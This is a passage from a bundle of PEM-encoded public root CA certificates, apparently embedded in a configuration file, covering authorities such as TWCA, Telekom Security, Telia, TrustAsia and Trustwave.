      LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WF
      H6vPNOw/KP4M8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNo
      RI2T9GRwoD2dKAXDOXC4Ynsg/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+
      nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlglPx4mI88k1HtQJAH32RjJMtOcQWh
      15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryPA9gK8kxkRr05YuWW
      6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3mi4TW
      nsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5j
      wa19hAM8EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWz
      aGHQRiapIVJpLesux+t3zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmy
      KwbQBM0=
      -----END CERTIFICATE-----

      # TWCA Root Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzES
      MBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFU
      V0NBIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMz
      WhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJVEFJV0FO
      LUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlm
      aWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
      AQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFE
      AcK0HMMxQhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HH
      K3XLfJ+utdGdIzdjp9xCoi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeX
      RfwZVzsrb+RH9JlF/h3x+JejiB03HFyP4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/z
      rX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1ry+UPizgN7gr8/g+YnzAx
      3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
      HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkq
      hkiG9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeC
      MErJk/9q56YAf4lCmtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdls
      XebQ79NqZp4VKIV66IIArB6nCWlWQtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62D
      lhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVYT0bf+215WfKEIlKuD8z7fDvn
      aspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocnyYh0igzyXxfkZ
      YiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw==
      -----END CERTIFICATE-----

      # Telekom Security TLS ECC Root 2020
      -----BEGIN CERTIFICATE-----
      MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQsw
      CQYDVQQGEwJERTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBH
      bWJIMSswKQYDVQQDDCJUZWxla29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIw
      MB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIzNTk1OVowYzELMAkGA1UEBhMCREUx
      JzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkgR21iSDErMCkGA1UE
      AwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqGSM49
      AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/O
      tdKPD/M12kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDP
      f8iAC8GXs7s1J8nCG6NCMEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6f
      MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2cA
      MGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZMo7k+5Dck2TOrbRBR2Di
      z6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdUga/sf+Rn
      27iQ7t0l
      -----END CERTIFICATE-----

      # Telekom Security TLS RSA Root 2023
      -----BEGIN CERTIFICATE-----
      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
      dTdmQRCsu/WU48IxK63nI1bMNSWSs1A=
      -----END CERTIFICATE-----

      # TeliaSonera Root CA v1
      -----BEGIN CERTIFICATE-----
      MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAw
      NzEUMBIGA1UECgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJv
      b3QgQ0EgdjEwHhcNMDcxMDE4MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYD
      VQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwWVGVsaWFTb25lcmEgUm9vdCBDQSB2
      MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+6yfwIaPzaSZVfp3F
      VRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA3GV1
      7CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+X
      Z75Ljo1kB1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+
      /jXh7VB7qTCNGdMJjmhnXb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs
      81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxHoLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkm
      dtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3F0fUTPHSiXk+TT2YqGHe
      Oh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJoWjiUIMu
      sDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4
      pgd7gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fs
      slESl1MpWtTwEhDcTwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQ
      arMCpgKIv7NHfirZ1fpoeDVNAgMBAAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYD
      VR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qWDNXr+nuqF+gTEjANBgkqhkiG
      9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNmzqjMDfz1mgbl
      dxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
      0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1Tj
      TQpgcmLNkQfWpb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBed
      Y2gea+zDTYa4EzAvXUYNR0PVG6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7
      Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpcc41teyWRyu5FrgZLAMzTsVlQ2jqI
      OylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOTJsjrDNYmiLbAJM+7
      vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2qReW
      t88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcn
      HL/EVlP6Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVx
      SK236thZiNSQvxaz2emsWWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
      -----END CERTIFICATE-----

      # Telia Root CA v2
      -----BEGIN CERTIFICATE-----
      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
      rBPuUBQemMc=
      -----END CERTIFICATE-----

      # TrustAsia Global Root CA G3
      -----BEGIN CERTIFICATE-----
      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
      FGWsJwt0ivKH
      -----END CERTIFICATE-----

      # TrustAsia Global Root CA G4
      -----BEGIN CERTIFICATE-----
      MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMw
      WjELMAkGA1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMs
      IEluYy4xJDAiBgNVBAMMG1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0y
      MTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJaMFoxCzAJBgNVBAYTAkNOMSUwIwYD
      VQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQwIgYDVQQDDBtUcnVz
      dEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATx
      s8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbw
      LxYI+hW8m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJij
      YzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mD
      pm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/pDHel4NZg6ZvccveMA4GA1UdDwEB/wQE
      AwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AAbbd+NvBNEU/zy4k6LHiR
      UKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xkdUfFVZDj
      /bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
      -----END CERTIFICATE-----

      # Trustwave Global Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIF2jCCA8KgAwIBAgIMBfcOhtpJ80Y1LrqyMA0GCSqGSIb3DQEBCwUAMIGIMQsw
      CQYDVQQGEwJVUzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28x
      ITAfBgNVBAoMGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1
      c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMx
      OTM0MTJaFw00MjA4MjMxOTM0MTJaMIGIMQswCQYDVQQGEwJVUzERMA8GA1UECAwI
      SWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2ZSBI
      b2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZp
      Y2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
      ALldUShLPDeS0YLOvR29zd24q88KPuFd5dyqCblXAj7mY2Hf8g+CY66j96xz0Xzn
      swuvCAAJWX/NKSqIk4cXGIDtiLK0thAfLdZfVaITXdHG6wZWiYj+rDKd/VzDBcdu
      7oaJuogDnXIhhpCujwOl3J+IKMujkkkP7NAP4m1ET4BqstTnoApTAbqOl5F2brz8
      1Ws25kCI1nsvXwXoLG0R8+eyvpJETNKXpP7ScoFDB5zpET71ixpZfR9oWN0EACyW
      80OzfpgZdNmcc9kYvkHHNHnZ9GLCQ7mzJ7Aiy/k9UscwR7PJPrhq4ufogXBeQotP
      JqX+OsIgbrv4Fo7NDKm0G2x2EOFYeUY+VM6AqFcJNykbmROPDMjWLBz7BegIlT1l
      RtzuzWniTY+HKE40Cz7PFNm73bZQmq131BnW2hqIyE4bJ3XYsgjxroMwuREOzYfw
      hI0Vcnyh78zyiGG69Gm7DIwLdVcEuE4qFC49DxweMqZiNu5m4iK4BUBjECLzMx10
      coos9TkpoNPnG4CELcU9402x/RpvumUHO1jsQkUm+9jaJXLE9gCxInm943xZYkqc
      BW89zubWR2OZxiRvchLIrH+QtAuRcOi35hYQcRfO3gZPSEF9NUqjifLJS3tBEW1n
      twiYTOURGa5CgNz7kAXU+FDKvuStx8KU1xad5hePrzb7AgMBAAGjQjBAMA8GA1Ud
      EwEB/wQFMAMBAf8wHQYDVR0OBBYEFJngGWcNYtt2s9o9uFvo/ULSMQ6HMA4GA1Ud
      DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAmHNw4rDT7TnsTGDZqRKGFx6W
      0OhUKDtkLSGm+J1WE2pIPU/HPinbbViDVD2HfSMF1OQc3Og4ZYbFdada2zUFvXfe
      uyk3QAUHw5RSn8pk3fEbK9xGChACMf1KaA0HZJDmHvUqoai7PF35owgLEQzxPy0Q
      lG/+4jSHg9bP5Rs1bdID4bANqKCqRieCNqcVtgimQlRXtpla4gt5kNdXElE1GYhB
      aCXUNxeEFfsBctyV3lImIJgm4nb1J2/6ADtKYdkNy1GTKv0WBpanI5ojSP5RvbbE
      sLFUzt5sQa0WZ37b/TjNuThOssFgy50X31ieemKyJo90lZvkWx3SD92YHJtZuSPT
      MaCm/zjdzyBP6VhWOmfD0faZmZ26NraAL4hHT4a/RDqA5Dccprrql5gR0IRiR2Qe
      qu5AvzSxnI9O4fKSTx+O856X3vOmeWqJcU9LJxdI/uz0UA9PSX3MReO9ekDFQdxh
      VicGaeVyQYHTtgGJoC86cnn+OjC/QezHYj6RS8fZMXZC+fc8Y+wmjHMMfRod6qh8
      h6jCJ3zhM0EPz8/8AKAigJ5Kp28AsEFFtyLKaEjFQqKu3R3y4G5OBVixwJAWKqQ9
      EEC+j2Jjg6mcgn0tAumDMHzLJ8n9HmYAsC7TIS+OMxZsmO0QqAfWzJPP29FpHOTK
      yeC2nOnOcXHebD8WpHk=
      -----END CERTIFICATE-----

      # Trustwave Global ECC P256 Certification Authority
      -----BEGIN CERTIFICATE-----
      MIICYDCCAgegAwIBAgIMDWpfCD8oXD5Rld9dMAoGCCqGSM49BAMCMIGRMQswCQYD
      VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAf
      BgNVBAoTGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3
      YXZlIEdsb2JhbCBFQ0MgUDI1NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0x
      NzA4MjMxOTM1MTBaFw00MjA4MjMxOTM1MTBaMIGRMQswCQYDVQQGEwJVUzERMA8G
      A1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0
      d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBF
      Q0MgUDI1NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTBZMBMGByqGSM49AgEGCCqG
      SM49AwEHA0IABH77bOYj43MyCMpg5lOcunSNGLB4kFKA3TjASh3RqMyTpJcGOMoN
      FWLGjgEqZZ2q3zSRLoHB5DOSMcT9CTqmP62jQzBBMA8GA1UdEwEB/wQFMAMBAf8w
      DwYDVR0PAQH/BAUDAwcGADAdBgNVHQ4EFgQUo0EGrJBt0UrrdaVKEJmzsaGLSvcw
      CgYIKoZIzj0EAwIDRwAwRAIgB+ZU2g6gWrKuEZ+Hxbb/ad4lvvigtwjzRM4q3wgh
      DDcCIC0mA6AFvWvR9lz4ZcyGbbOcNEhjhAnFjXca4syc4XR7
      -----END CERTIFICATE-----

      # Trustwave Global ECC P384 Certification Authority
      -----BEGIN CERTIFICATE-----
      MIICnTCCAiSgAwIBAgIMCL2Fl2yZJ6SAaEc7MAoGCCqGSM49BAMDMIGRMQswCQYD
      VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAf
      BgNVBAoTGFRydXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3
      YXZlIEdsb2JhbCBFQ0MgUDM4NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0x
      NzA4MjMxOTM2NDNaFw00MjA4MjMxOTM2NDNaMIGRMQswCQYDVQQGEwJVUzERMA8G
      A1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0
      d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBF
      Q0MgUDM4NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTB2MBAGByqGSM49AgEGBSuB
      BAAiA2IABGvaDXU1CDFHBa5FmVXxERMuSvgQMSOjfoPTfygIOiYaOs+Xgh+AtycJ
      j9GOMMQKmw6sWASr9zZ9lCOkmwqKi6vr/TklZvFe/oyujUF5nQlgziip04pt89ZF
      1PKYhDhloKNDMEEwDwYDVR0TAQH/BAUwAwEB/zAPBgNVHQ8BAf8EBQMDBwYAMB0G
      A1UdDgQWBBRVqYSJ0sEyvRjLbKYHTsjnnb6CkDAKBggqhkjOPQQDAwNnADBkAjA3
      AZKXRRJ+oPM+rRk6ct30UJMDEr5E0k9BpIycnR+j9sKS50gU/k6bpZFXrsY3crsC
      MGclCrEMXu6pY5Jv5ZAL/mYiykf9ijH3g/56vxC+GCsej/YpHpRZ744hN8tRmKVu
      Sw==
